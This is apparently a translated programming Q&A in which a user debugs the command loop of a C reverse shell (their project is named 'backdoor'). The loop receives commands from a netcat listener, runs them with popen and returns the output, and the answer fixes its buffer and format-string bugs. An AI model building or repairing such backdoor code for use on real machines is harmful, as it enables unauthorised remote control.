如何清理 C 程序的 popen 输出?

How can I clean up the popen output of my C program?

我正在重写我在 python 中编写的一个简单的反向 shell 程序,现在用 C.

该程序应该尝试连接到主机(netcat 侦听指定端口),然后从 nc 获取输出,通过 tcp 套接字发送,并使用 popen() 进行系统调用,然后通过套接字连接将终端输出发送回显示它的 nc。

当我尝试向程序发送命令时 returns 我请求的内容,但也有些乱码。

例如: /Users/jacob/Library/Developer/Xcode/DerivedData/backdoorfbhufkccmceisqaozrfitkmfsvge/Build/Products/Debu@Ԓ`? ??????0d?r?

(终端中 nc 的输出,这是一个 'pwd' 命令)

我似乎也遇到了缓冲区未清除的问题?当我使用 'say' 命令(比如 [sentence] )时,MacOS 应该使用语音来表达句子。发生这种情况,但只有 'say'(句子的前 2 个字符)之后的参数的前 2 个字母,然后表示较早的字符串。 ('Successfully connected!')

例如:(命令:'say hello')

heSuccessfully connected!

我尝试在不同的地方打开 FILE 流并且

代码(套接字设置和连接后):

    const char conMsg[25] = "Successfully connected!\n";

    send(netSock, conMsg, sizeof(conMsg), 0);
    printf("Sent message...\n");
    
    // variable setup
    char command[] = "clear";
    char buffer[256];
    const char INPUTFIELD[3] = "\n> ";
    
    // requests loop
    while (1) {
        send(netSock, INPUTFIELD, sizeof(INPUTFIELD), 0);
        
        // recv command
        recv(netSock, &command, sizeof(command), 0);
        printf("recived command...\n");
        printf(command);
        
        // exit check
        if ( strncmp(command, ":exit", 5) == 0) {
                close(netSock);
                exit(0);
        } else {
            
            // stream init
            FILE *in;

            in = popen(command, "r");
        
            // popen output, send to host
            while ( fgets(buffer, sizeof(buffer), in) != NULL) {
                send(netSock, buffer, sizeof(buffer), 0);
            }
            pclose(in);
        }
    }
    
    return 0;

我如何使用程序:

我认为您的主要问题在于:

        // popen output, send to host
        while ( fgets(buffer, sizeof(buffer), in) != NULL) {
            send(netSock, buffer, sizeof(buffer), 0);
        }

fgets 将只读到行尾(包括行尾字符),然后空终止。除非一行超过缓冲区大小,否则它不会完全填满缓冲区。您的 send 调用正在发送整个缓冲区,包括任何可能超过 fgets 读取内容的未初始化的乱码。这可能会更好:

        // popen output, send to host
        while ( fgets(buffer, sizeof(buffer), in) != NULL) {
            send(netSock, buffer, strlen(buffer), 0);
        }
    // recv command
    recv(netSock, &command, sizeof(command), 0);
    printf("recived command...\n");
    printf(command);

您忽略了 recv 的 return 值,因此您的其他代码的 none 知道您收到了多少字节的数据。此外,您将 command 传递给 printf。这有两个问题:

  1. 如果您没有收到零字节怎么办?您可以 运行 刚好在缓冲区的末尾。
  2. 如果接收到的数据包含 %s 或其他 printf 特有的字符串怎么办?